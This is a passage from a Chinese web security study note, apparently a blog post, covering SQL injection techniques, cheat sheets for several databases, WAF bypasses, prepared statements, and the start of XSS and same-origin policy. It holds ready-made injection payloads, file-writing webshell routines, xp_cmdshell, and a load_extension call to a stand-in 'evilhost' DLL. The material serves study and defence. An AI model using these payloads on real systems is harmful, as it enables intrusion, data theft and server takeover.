【Web安全笔记】之【4.0 常见漏洞攻防】

文章目录

  • 4.0 常见漏洞攻防
    • 4.1 SQL注入
      • 4.1.1 注入分类
        • 1. 简介
        • 2. 按技巧分类
          • 1). 盲注
          • 2). 报错注入
          • 3). 堆叠注入
        • 3. 按获取数据的方式分类
          • 1). inband
          • 2). inference
          • 3). out of band (OOB)
      • 4.1.2 数据库检测
        • 1. MySQL
        • 2. Oracle
        • 3. SQLServer
        • 4. PostgreSQL
      • 4.1.3 注入检测
        • 1. 常见的注入点
        • 2. Fuzz注入点
        • 3. 测试用常量
        • 4. 测试列数
        • 5. 报错注入
        • 6. 基于geometric的报错注入
        • 7. 堆叠注入
        • 8. 注释符
        • 9. 判断过滤规则
      • 4.1.4 绕过技巧
        • 1. 编码绕过
        • 2. 注释
        • 3. 只过滤了一次时
        • 4. 相同功能替换
          • 1). 函数替换
          • 2). 变量替换
          • 3). 符号和关键字
        • 5. HTTP参数
        • 6. 缓冲区溢出
      • 4.1.5 获取信息
        • 1. 判断数据库类型
        • 2. 判断数据库表
        • 3. 版本、主机名、用户名、库名
        • 4. 表和字段
      • 4.1.6 测试权限
        • 1. 文件操作
        • 2. 带外通道
      • 4.1.7 权限提升
        • 1. UDF提权
      • 4.1.8 SQL注入小技巧
        • 1. 宽字节注入
        • 2. CheatSheet
          • 1). SQL Server Payload
            • 常见Payload
            • 报错注入
            • 常用函数
          • 2). MySQL Payload
            • 常见Payload
            • 报错注入常见函数
            • 写文件
          • 3). PostgresSQL Payload
          • 4). Oracle Payload
            • 常见Payload
            • 写文件
          • 5). SQLite3 Payload
      • 4.1.9 预编译
        • 1. 简介
        • 2. 模拟预编译
        • 3. 绕过
          • 1). 预编译使用错误
          • 2). 部分参数不可预编译
          • 3). 预编译实现错误
      • 4.1.10 参考文章
    • 4.2 XSS
      • 4.2.1 分类
        • 1 简介
        • 2. 反射型XSS
        • 3. 储存型XSS
        • 4. DOM XSS
        • 5. Blind XSS
      • 4.2.2 危害
      • 4.2.3 同源策略
        • 1. 简介
        • 2. file域的同源策略
        • 3. cookie的同源策略
        • 4. Flash/SilverLight跨域
        • 5. 源的更改
        • 6. 跨源访问
        • 7. JSONP跨域
        • 8. 跨源脚本API访问
        • 9. 跨源数据存储访问
          • CORS
            • 常见请求头
            • 常见返回头
            • 防御建议
        • 10. 阻止跨源访问
      • 4.2.4 CSP
        • 1. CSP是什么?
        • 2. 配置
        • 3. 指令说明
        • 4. 关键字
        • 5. 配置范例
      • 4.2.5 Bypass
        • 1. 预加载
        • 2. MIME Sniff
        • 3. 302跳转
        • 4. iframe
        • 5. base-uri
        • 6. 其他
      • 4.2.6 XSS数据源
        • 1. URL
        • 2. Navigation
        • 3. Communication
        • 4. Storage
        • 5. Sink
          • 1). 执行JavaScript
          • 2). 加载URL
          • 3). 执行HTML
      • 4.2.7 XSS保护
        • 1. HTML过滤
        • 2. X-Frame
        • 3. XSS保护头
      • 4.2.8 WAF Bypass
      • 4.2.9 技巧
        • 1. httponly
        • 2. CSS 注入
          • 1). 基本介绍
          • 2). CSS selectors
          • 3). Abusing Unicode Range
        • 3. Bypass Via Script Gadgets
          • 1). 简介
          • 2). 例子
        • 4. RPO(Relative Path Overwrite)
      • 4.2.10 Payload
        • 1. 常用
        • 2. 大小写绕过
        • 3. 各种alert
        • 4. 伪协议
        • 5. Chrome XSS auditor bypass
        • 6. 长度限制
        • 7. jquery sourceMappingURL
        • 8. 图片名
        • 9. 过期的payload
        • 10. css
        • 11. markdown
        • 12. iframe
        • 13. form
        • 14. meta
      • 4.2.11 持久化
        • 1. 基于存储
        • 2. Service Worker
        • 3. AppCache
      • 4.2.12 参考链接
        • wiki
        • Challenges
        • CSS
        • 同源策略
        • bypass
        • 持久化
        • Tricks
    • 4.3 CSRF
      • 4.3.1 简介
      • 4.3.2 分类
        • 1. 资源包含
        • 2. 基于表单
        • 3. XMLHttpRequest
      • 4.3.3 防御
      • 4.3.4 参考链接
    • 4.4 SSRF
      • 4.4.1 简介
      • 4.4.2 漏洞危害
      • 4.4.3 利用方式
      • 4.4.4 相关危险函数
      • 4.4.5 过滤绕过
        • 1. 更改IP地址写法
        • 2. 使用解析到内网的域名
        • 3. 利用解析URL所出现的问题
        • 4. 利用跳转
        • 5. 通过各种非HTTP协议
        • 6. DNS Rebinding
        • 7. 利用IPv6
        • 8. 利用IDN
      • 4.4.6 可能的利用点
        • 1. 内网服务
        • 2. Redis利用
        • 3. 云主机
      • 4.4.7 防御方式
      • 4.4.8 参考链接
    • 4.5 命令注入
      • 4.5.1 简介
      • 4.5.2 常见危险函数
        • 1. PHP
        • 2. Python
        • 3. Java
      • 4.5.3 常见注入方式
        • 无回显技巧
      • 4.5.4 常见绕过方式
        • 1. 空格绕过
        • 2. 黑名单绕过
        • 3. 长度限制绕过
      • 4.5.5 常用符号
        • 1. 命令分隔符
        • 2. 通配符
      • 4.5.6 防御
    • 4.6 目录穿越
      • 4.6.1 简介
      • 4.6.2 攻击载荷
        • 1. URL参数
        • 2. Nginx Off by Slash
        • 3. UNC Bypass
      • 4.6.3 过滤绕过
      • 4.6.4 防御
      • 4.6.5 参考链接
    • 4.7 文件读取
    • 4.8 文件上传
      • 4.8.1 文件类型检测绕过
        • 1. 更改请求绕过
        • 2. Magic 检测绕过
        • 3. 后缀绕过
        • 4. 系统命名绕过
        • 5. .user.ini
        • 6. WAF绕过
        • 7. 竞争上传绕过
      • 4.8.2 攻击技巧
        • 1. Apache重写GetShell
        • 2. 软链接任意读文件
      • 4.8.3 防护技巧
      • 4.8.4 参考链接
    • 4.9 文件包含
      • 4.9.1 基础
      • 4.9.2 触发Sink
        • 1. PHP
      • 4.9.3 绕过技巧
        • 1. url编码绕过
        • 2. 特殊字符绕过
        • 3. %00截断
        • 4. 长度截断
        • 5. 伪协议绕过
        • 6. 协议绕过
      • 4.9.4 参考链接
    • 4.10 XXE
      • 4.10.1 XML基础
        • 1. 基本语法
        • 2. XXE
      • 4.10.2 攻击方式
        • 1. 拒绝服务攻击
        • 2. 文件读取
        • 3. SSRF
        • 4. RCE
        • 5. XInclude
      • 4.10.3 参考链接
    • 4.11 模版注入
      • 4.11.1 简介
      • 4.11.2 测试方法
      • 4.11.3 测试用例
      • 4.11.4目标
      • 4.11.5 相关属性
        • 1. `__class__`
        • 2. `__mro__`
        • 3. `__globals__`
        • 4. `__subclasses__()`
      • 4.11.6 常见Payload
      • 4.11.7 绕过技巧
        • 1. 字符串拼接
        • 2. 使用参数绕过
      • 4.11.8 参考链接
    • 4.12 Xpath注入
      • 4.12.1 Xpath 定义
      • 4.11.2 Xpath注入攻击原理
    • 4.13 逻辑漏洞 / 业务漏洞
      • 4.13.1 简介
      • 4.13.2 安装逻辑
      • 4.13.4 交易
          • 1. 购买
          • 2. 业务风控
      • 4.13.5 账户
        • 1. 注册
        • 2. 密码
        • 3. 邮箱用户名
        • 4. Cookie
        • 5. 手机号用户名
        • 6. 登录
        • 7. 找回密码
        • 8. 修改密码
        • 9. 申诉
        • 10. 更新
        • 11. 信息查询
        • 12. 2FA
      • 4.13.5 验证码
      • 4.13.6 Session
      • 4.13.7 越权
      • 4.13.8 随机数安全
      • 4.13.9 其他
      • 4.13.10 参考链接
    • 4.14 配置安全
      • 4.14.1 弱密码
      • 4.14.2 敏感文件泄漏
      • 4.14.3 数据库
      • 4.14.4 加密体系
      • 4.14.5 三方库/软件
    • 4.15 中间件
      • 4.15.1 IIS
        • 1. IIS 6.0
        • 2. IIS 7.0-7.5 / Nginx <= 0.8.37
        • 3. PUT漏洞
        • 4. Windows特性
        • 5. 文件名猜解
        • 6. 参考链接
      • 4.15.2 Apache
        • 1. 后缀解析
        • 2. .htaccess
        • 3. 目录遍历
        • 4. CVE-2017-15715
        • 5. lighttpd
        • 6. 参考链接
      • 4.15.3 Nginx
        • 1. Fast-CGI关闭
        • 2. Fast-CGI开启
        • 3. CVE-2013-4547
        • 4. 配置错误
          • 目录穿越/遍历
        • 5. 参考链接
    • 4.16 Web Cache欺骗攻击
      • 4.16.1 简介
      • 4.16.2 漏洞成因
      • 4.16.3 漏洞利用
      • 4.16.4 漏洞存在的条件
      • 4.16.5 漏洞防御
      • 4.16.6 Web Cache欺骗攻击实例
        • 1. Paypal
      • 4.16.7 参考链接
    • 4.17 HTTP 请求走私
      • 4.17.1 简介
      • 4.17.2 成因
      • 4.17.3 分类
      • 4.17.4 攻击
        • 1. CL不为0的GET请求
        • 2. CL-CL
        • 3. CL-TE
        • 4. TE-CL
        • 5. TE-TE
      • 4.17.5 防御
      • 4.17.6 参考链接
        • 1. RFC
        • 2. Blog / Whitepaper

4.0 常见漏洞攻防

4.1 SQL注入

4.1.1 注入分类

1. 简介

SQL注入是一种代码注入技术,用于攻击数据驱动的应用程序。 在应用程序中,如果没有做恰当的过滤,则可能使得恶意的SQL语句被插入输入字段中执行(例如将数据库内容转储给攻击者)。

2. 按技巧分类

根据使用的技巧,SQL注入类型可分为

1). 盲注
  • 布尔盲注:只能从应用返回中推断语句执行后的布尔值
  • 时间盲注:应用没有明确的回显,只能使用特定的时间函数来判断
2). 报错注入

应用会显示全部或者部分的报错信息

3). 堆叠注入

有的应用可以加入 ; 后一次执行多条语句

3. 按获取数据的方式分类

另外也可以根据获取数据的方式分为3类:

1). inband

利用Web应用来直接获取数据,如报错注入,这类注入都是通过站点的响应或者错误反馈来提取数据。

2). inference

通过Web的一些反映来推断数据,如布尔盲注,也就是我们通俗的盲注, 通过web应用的其他改变来推断数据。

3). out of band (OOB)

通过其他传输方式来获得数据,比如DNS解析协议和电子邮件。

4.1.2 数据库检测

1. MySQL

  • sleep sleep(1)
  • benchmark BENCHMARK(5000000, MD5('test'))
  • 字符串连接
    • SELECT 'a' 'b'
    • SELECT CONCAT('some','string')
  • version
    • SELECT @@version SELECT version()
  • 识别用函数
    • connection_id()
    • last_insert_id()
    • row_count()

2. Oracle

  • 字符串连接
    • 'a'||'oracle' --
    • SELECT CONCAT('some','string')
  • version
    • SELECT banner FROM v$version
    • SELECT banner FROM v$version WHERE rownum=1

3. SQLServer

  • WAITFOR WAITFOR DELAY '00:00:10';
  • SERVERNAME SELECT @@SERVERNAME
  • version SELECT @@version
  • 字符串连接
    • SELECT 'some'+'string'
  • 常量
    • @@pack_received @@rowcount

4. PostgreSQL

  • sleep pg_sleep(1)

4.1.3 注入检测

1. 常见的注入点

  • GET/POST/PUT/DELETE参数
  • X-Forwarded-For
  • 文件名

2. Fuzz注入点

  • ' / "
  • 1/1
  • 1/0
  • and 1=1
  • " and "1"="1
  • and 1=2
  • or 1=1
  • or 1=
  • ' and '1'='1
  • + - ^ * % /
  • << >> || | & &&
  • ~
  • !
  • @
  • 反引号执行

3. 测试用常量

  • @@version
  • @@servername
  • @@language
  • @@spid

4. 测试列数

例如 http://www.foo.com/index.asp?id=12+union+select+null,null-- ,不断增加 null 至不返回

5. 报错注入

  • select 1/0
  • select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a
  • extractvalue(1, concat(0x5c,(select user())))
  • updatexml(0x3a,concat(1,(select user())),1)
  • exp(~(SELECT * from(select user())a))
  • ST_LatFromGeoHash((select * from(select * from(select user())a)b))
  • GTID_SUBSET(version(), 1)

6. 基于geometric的报错注入

  • GeometryCollection((select * from (select * from(select user())a)b))
  • polygon((select * from(select * from(select user())a)b))
  • multipoint((select * from(select * from(select user())a)b))
  • multilinestring((select * from(select * from(select user())a)b))
  • LINESTRING((select * from(select * from(select user())a)b))
  • multipolygon((select * from(select * from(select user())a)b))

其中需要注意的是,基于exp函数的报错注入在MySQL 5.5.49后的版本已经不再生效,具体可以参考这个 commit 95825f 。

而以上列表中基于geometric的报错注入在这个 commit 5caea4 中被修复,在5.5.x较后的版本中同样不再生效

7. 堆叠注入

  • ;select 1

8. 注释符

  • #
  • --+
  • /*xxx*/
  • /*!xxx*/
  • /*!50000xxx*/

9. 判断过滤规则

  • 是否有trunc
  • 是否过滤某个字符
  • 是否过滤关键字
  • slash和编码

4.1.4 绕过技巧

1. 编码绕过

  • 大小写
  • url编码
  • html编码
  • 十六进制编码
  • unicode编码

2. 注释

  • // -- -- + -- - # /**/ ;%00
  • 内联注释用的更多,它有一个特性 /!**/ 只有MySQL能识别
  • e.g. index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3

3. 只过滤了一次时

  • union => ununionion

4. 相同功能替换

1). 函数替换
  • substring / mid / sub
  • ascii / hex / bin
  • benchmark / sleep
2). 变量替换
  • user() / @@user
3). 符号和关键字
  • and / &
  • or / |

5. HTTP参数

  • HTTP参数污染

    • id=1&id=2&id=3 根据容器不同会有不同的结果
  • HTTP分割注入

6. 缓冲区溢出

  • 一些C语言的WAF处理的字符串长度有限,超出某个长度后的payload可能不会被处理
    • 二次注入有长度限制时,通过多句执行的方法改掉数据库该字段的长度绕过

4.1.5 获取信息

1. 判断数据库类型

  • and exists (select * from msysobjects ) > 0 access数据库

  • and exists (select * from sysobjects ) > 0 SQLServer数据库

2. 判断数据库表

and exsits (select * from admin)

3. 版本、主机名、用户名、库名

4. 表和字段

  • 确定字段数

    • Order By
    • Select Into
  • 表名、列名

4.1.6 测试权限

1. 文件操作

  • 读敏感文件
  • 写shell

2. 带外通道

  • 网络请求

4.1.7 权限提升

1. UDF提权

UDF(User Defined Function,用户自定义函数)是MySQL提供的一个功能,可以通过编写DLL扩展为MySQL添加新函数,扩充其功能。

当获得MySQL权限之后,即可通过这种方式上传自定义的扩展文件,从MySQL中执行系统命令。

4.1.8 SQL注入小技巧

1. 宽字节注入

一般程序员用gbk编码做开发的时候,会用 set names 'gbk' 来设定,这句话等同于

set
character_set_connection = 'gbk',
character_set_result = 'gbk',
character_set_client = 'gbk';

漏洞发生的原因是执行了 set character_set_client = 'gbk'; 之后,mysql就会认为客户端传过来的数据是gbk编码的,从而使用gbk去解码,而mysql_real_escape是在解码前执行的。但是直接用 set names 'gbk' 的话real_escape是不知道设置的数据的编码的,就会加 %5c 。此时server拿到数据解码 就认为提交的字符+%5c是gbk的一个字符,这样就产生漏洞了。

解决的办法有三种,第一种是把client的charset设置为binary,就不会做一次解码的操作。第二种是是 mysql_set_charset('gbk') ,这里就会把编码的信息保存在和数据库的连接里面,就不会出现这个问题了。 第三种就是用pdo。

还有一些其他的编码技巧,比如latin会弃掉无效的unicode,那么admin%32在代码里面不等于admin,在数据库比较会等于admin。

2. CheatSheet

1). SQL Server Payload
常见Payload
  • Version

    SELECT @@version

  • Comment

    • SELECT 1 -- comment
    • SELECT /*comment*/1
  • Space

    0x01 - 0x20

  • 用户信息

    • SELECT user_name()
    • SELECT system_user
    • SELECT user
    • SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
  • 用户权限

    • select IS_SRVROLEMEMBER('sysadmin')
    • select IS_SRVROLEMEMBER('db_owner')
  • List User

    - SELECT name FROM master..syslogins

  • 数据库信息

    • SELECT name FROM master..sysdatabases select quotename(name) from master..sysdatabases FOR XML PATH('')
  • 执行命令

    • EXEC xp_cmdshell 'net user'
  • Ascii

    • SELECT char(0x41)
    • SELECT ascii('A')
    • SELECT char(65)+char(66) => return AB
  • Delay

    • WAITFOR DELAY '0:0:3' pause for 3 seconds
  • Change Password

    • ALTER LOGIN [sa] WITH PASSWORD=N'NewPassword'
  • Trick

    • id=1 union:select password from:user
  • 文件读取

    • OpenRowset
  • 当前查询语句

    • select text from sys.dm_exec_requests cross apply sys.dm_exec_sql_text(sql_handle)
  • hostname

    • 用于判断是否站库分离
    • select host_name()
报错注入
  • 1=convert(int,(db_name()))
常用函数
  • SUSER_NAME()
  • USER_NAME()
  • PERMISSIONS()
  • DB_NAME()
  • FILE_NAME()
  • TYPE_NAME()
  • COL_NAME()
2). MySQL Payload
常见Payload
  • Version

    SELECT @@version

  • Comment

    • SELECT 1 -- comment
    • SELECT 1 # comment
    • SELECT /*comment*/1
  • Space

    • 0x9
    • 0xa-0xd
    • 0x20 0xa0
  • Current User

    • SELECT user()
    • SELECT system_user()
  • List User

    • SELECT user FROM mysql.user
  • Current Database

    • SELECT database()
  • List Database

    • SELECT schema_name FROM information_schema.schemata
  • List Tables

    • SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
  • List Columns

    • SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
  • If

    • SELECT if(1=1,'foo','bar'); return ‘foo’
  • Ascii

    • SELECT char(0x41)
    • SELECT ascii('A')
    • SELECT 0x414243 => return ABC
  • Delay

    • sleep(1)
    • SELECT BENCHMARK(1000000,MD5('A'))
  • Read File

    • select @@datadir
    • select load_file('databasename/tablename.MYD')
  • Blind

    • ascii(substring(str,pos,length)) & 32 = 1
  • Error Based

    • select count(*),(floor(rand(0)*2))x from information_schema.tables group by x;
    • select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))
  • Change Password

    • mysql -uroot -e "use mysql;UPDATE user SET password=PASSWORD('newpassword') WHERE user='root';FLUSH PRIVILEGES;"
报错注入常见函数
  • extractvalue
  • updatexml
  • GeometryCollection
  • linestring
  • multilinestring
  • multipoint
  • multipolygon
  • polygon
  • exp
写文件

写文件前提

  • root 权限
  • 知晓文件绝对路径
  • 写入的路径存在写入权限
  • secure_file_priv 允许向对应位置写入
  • select count(file_priv) from mysql.user

基于 into 写文件

union select 1,1,1 into outfile '/tmp/demo.txt'
union select 1,1,1 into dumpfile '/tmp/demo.txt'

dumpfile和outfile不同在于,outfile会在行末端写入新行,会转义换行符,如果写入二进制文件,很可能被这种特性破坏

基于 log 写文件

show variables like '%general%';
set global general_log = on;
set global general_log_file = '/path/to/file';
select '';
set global general_log_file = '/original/path';
set global general_log = off;
3). PostgresSQL Payload
  • Version
    • SELECT version()
  • Comment
    • SELECT 1 -- comment
    • SELECT /*comment*/1
  • Current User
    • SELECT user
    • SELECT current_user
    • SELECT session_user
    • SELECT getpgusername()
  • List User
    • SELECT usename FROM pg_user
  • Current Database
    • SELECT current_database()
  • List Database
    • SELECT datname FROM pg_database
  • Ascii
    • SELECT char(0x41) SELECT ascii('A')
  • Delay
    • pg_sleep(1)
4). Oracle Payload
常见Payload
  • dump
    • select * from v$tablespace;
    • select * from user_tables;
    • select column_name from user_tab_columns where table_name = 'table_name';
    • select column_name, data_type from user_tab_columns where table_name = 'table_name';
    • SELECT * FROM ALL_TABLES
  • Comment
    • --
    • /**/
  • Space
    • 0x00
    • 0x09
    • 0xa-0xd
    • 0x20
  • 报错
    • utl_inaddr.get_host_name
    • ctxsys.drithsx.sn
    • ctxsys.CTX_REPORT.TOKEN_TYPE
    • XMLType
    • dbms_xdb_version.checkin
    • dbms_xdb_version.makeversioned
    • dbms_xdb_version.uncheckout
    • dbms_utility.sqlid_to_sqlhash
    • ordsys.ord_dicom.getmappingxpath
    • utl_inaddr.get_host_name
    • utl_inaddr.get_host_address
  • OOB
    • utl_http.request
    • utl_inaddr.get_host_address
    • SYS.DBMS_LDAP.INIT
    • HTTPURITYPE
    • HTTP_URITYPE.GETCLOB
  • 绕过
    • rawtohex
写文件
create or replace directory TEST_DIR as '/path/to/dir';
grant read, write on directory TEST_DIR to system;
declare
   isto_file utl_file.file_type;
begin
   isto_file := utl_file.fopen('TEST_DIR', 'test.jsp', 'W');
   utl_file.put_line(isto_file, '<% out.println("test"); %>');
   utl_file.fflush(isto_file);
   utl_file.fclose(isto_file);
end;
5). SQLite3 Payload
  • Comment
    • --
    • /**/
  • Version
    • select sqlite_version();

Command Execution

ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ('');--

Load_extension

UNION SELECT 1,load_extension('\\evilhost\evil.dll','E');--

4.1.9 预编译

1. 简介

SQL注入是因为解释器将传入的数据当成命令执行而导致的,预编译是用于解决这个问题的一种方法。和普通的执行流程不同,预编译将一次查询通过两次交互完成,第一次交互发送查询语句的模板,由后端的SQL引擎进行解析为AST或Opcode,第二次交互发送数据,代入AST或Opcode中执行。因为此时语法解析已经完成,所以不会再出现混淆数据和代码的过程。

2. 模拟预编译

为了防止低版本数据库不支持预编译的情况,模拟预编译会在客户端内部模拟参数绑定的过程,进行自定义的转义。

3. 绕过

1). 预编译使用错误

预编译只是使用占位符替代的字段值的部分,如果第一次交互传入的命令使用了字符串拼接,使得命令是攻击者可控的,那么预编译不会生效。

2). 部分参数不可预编译

在有的情况下,数据库处理引擎会检查数据表和数据列是否存在,因此数据表名和列名不能被占位符所替代。这种情况下如果表名和列名可控,则可能引入漏洞。

3). 预编译实现错误

部分语言引擎在实现上存在一定问题,可能会存在绕过漏洞。

4.1.10 参考文章

  • NoSQL注入的分析和缓解
  • NoSQL注入
  • SQL注入ByPass的一些小技巧
  • sqlmap time based inject 分析
  • SQLInjectionWiki
  • Waf Bypass之道
  • MySQL Bypass Wiki
  • 常见数据库写入Webshell汇总

4.2 XSS

4.2.1 分类

1 简介

XSS全称为Cross Site Scripting,为了和CSS分开简写为XSS,中文名为跨站脚本。该漏洞发生在用户端,是指在渲染过程中发生了不在预期过程中的JavaScript代码执行。XSS通常被用于获取Cookie、以受攻击者的身份进行操作等行为。

2. 反射型XSS

反射型XSS是比较常见和广泛的一类,举例来说,当一个网站的代码中包含类似下面的语句:hello, $_GET['user']";?> ,那么在访问时设置 /?user=alert("hack") ,则可执行预设好的JavaScript代码。

反射型XSS通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发,且受到XSS Auditor、NoScript等防御手段的影响较大。

3. 储存型XSS

储存型XSS相比反射型来说危害较大,在这种漏洞中,攻击者能够把攻击载荷存入服务器的数据库中,造成持久化的攻击

4. DOM XSS

DOM型XSS不同之处在于DOM型XSS一般和服务器的解析响应没有直接关系,而是在JavaScript脚本动态执行的过程中产生的

例如

<html>
<head>
<title>DOM Based XSS Demotitle>
<script>
function xsstest()
{
    var str = document.getElementById("input").value;
    document.getElementById("output").innerHTML = "";
}
script>
head>
<body>
<div id="output">div>
<input type="text" id="input" size=50 value="" />
<input type="button" value="submit" onclick="xsstest()" />
body>
html>

输入 x' onerror='javascript:alert(/xss/) 即可触发。

5. Blind XSS

Blind XSS是储存型XSS的一种,它保存在某些存储中,当一个“受害者”访问这个页面时执行,并且在文档对象模型(DOM)中呈现payload。 它被称为Blind的原因是因为它通常发生在通常不暴露给用户的功能上

4.2.2 危害

存在XSS漏洞时,可能会导致以下几种情况:

  1. 用户的Cookie被获取,其中可能存在Session ID等敏感信息。若服务器端没有做相应防护,攻击者可用对应Cookie登陆服务器。
  2. 攻击者能够在一定限度内记录用户的键盘输入
  3. 攻击者通过CSRF等方式以用户身份执行危险操作
  4. XSS蠕虫
  5. 获取用户浏览器信息
  6. 利用XSS漏洞扫描用户内网

4.2.3 同源策略

1. 简介

同源策略限制了不同源之间如何进行资源交互,是用于隔离潜在恶意文件的重要安全机制。 是否同源由URL决定,URL由协议、域名、端口和路径组成,如果两个URL的协议、域名和端口相同,则表示他们同源

2. file域的同源策略

在之前的浏览器中,任意两个file域的URI被认为是同源的。本地磁盘上的任何HTML文件都可以读取本地磁盘上的任何其他文件。

从Gecko 1.9开始,文件使用了更细致的同源策略,只有当源文件的父目录是目标文件的祖先目录时,文件才能读取另一个文件

3. cookie的同源策略

cookie使用不同的源定义方式,一个页面可以为本域和任何父域设置cookie,只要是父域不是公共后缀(public suffix)即可

不管使用哪个协议(HTTP/HTTPS)或端口号,浏览器都允许给定的域以及其任何子域名访问cookie。设置 cookie时,可以使用 domain / path / securehttp-only 标记来限定其访问性。

所以 https://localhost:8080/http://localhost:8081/ 的Cookie是共享的。

4. Flash/SilverLight跨域

浏览器的各种插件也存在跨域需求。通常是通过在服务器配置crossdomain.xml,设置本服务允许哪些域名的跨域访问。

客户端会请求此文件,如果发现自己的域名在访问列表里,就发起真正的请求,否则不发送请求。

5. 源的更改

同源策略认为域和子域属于不同的域,例如 child1.a.coma.com / child1.a.comchild2.a.com / xxx.child1.a.comchild1.a.com 两两不同源。

对于这种情况,可以在两个方面各自设置 document.domain='a.com' 来改变其源来实现以上任意两个页面之间的通信。

另外因为浏览器单独保存端口号,这种赋值会导致端口号被重写为 null

6. 跨源访问

同源策略控制了不同源之间的交互,这些交互通常分为三类:

  • 通常允许跨域写操作(Cross-origin writes)
    • 链接(links)
    • 重定向
    • 表单提交
  • 通常允许跨域资源嵌入(Cross-origin embedding)
  • 通常不允许跨域读操作(Cross-origin reads)

可能嵌入跨源的资源的一些示例有:

  • 标签嵌入跨域脚本。语法错误信息只能在同源脚本中捕捉到。
  • 标签嵌入CSS。由于CSS的松散的语法规则,CSS的跨域需要一个设置正确的Content-Type 消息头。
  • / / 嵌入多媒体资源。
  • embedapplet 的插件。
  • @font-face 引入的字体。一些浏览器允许跨域字体( cross-origin fonts),一些需要同源字体(same-origin fonts)。
  • frameiframe 载入的任何资源。站点可以使用X-Frame-Options消息头来阻止这种形式的跨域交互。
  • 7. JSONP跨域

    JSONP就是利用

    你可能感兴趣的:(Web安全笔记)